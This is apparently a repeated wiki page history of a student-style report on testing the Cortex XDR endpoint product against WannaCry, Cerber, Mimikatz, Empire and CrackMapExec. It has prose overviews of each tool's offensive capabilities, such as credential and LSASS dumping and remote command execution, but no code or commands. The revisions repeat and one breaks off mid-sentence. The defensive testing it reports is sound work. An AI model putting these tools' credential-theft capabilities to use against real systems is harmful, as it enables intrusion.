* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:54:41Z

AAmmann: /* Pentesting With Cortex XDR */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

From Cortex XDR, select Endpoints → Agent Installations.
Create a new installation package.
Enter a unique Name and an optional Description to identify the installation package.
Select the Package Type.

Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Specify the installation package settings.
Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

=== Execution Phase ===

We executed the WannaCry and Cerber Ransomware on our Endpoint where the Agent was installed. The Agent blocked the executions and uploaded the data to a webUI. On the WebUI, we were able to

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:51:46Z

AAmmann: /* Installation */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

From Cortex XDR, select Endpoints → Agent Installations.
Create a new installation package.
Enter a unique Name and an optional Description to identify the installation package.
Select the Package Type.

Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

Specify the installation package settings.
Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:49:46Z

AAmmann: /* Pentesting With Cortex XDR */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

# From Cortex XDR, select Endpoints → Agent Installations.
# Create a new installation package.
# Enter a unique Name and an optional Description to identify the installation package.
# Select the Package Type.

##Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

##Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

##(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

##Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

# Specify the installation package settings.
# Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
# Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
#*For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

#*For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

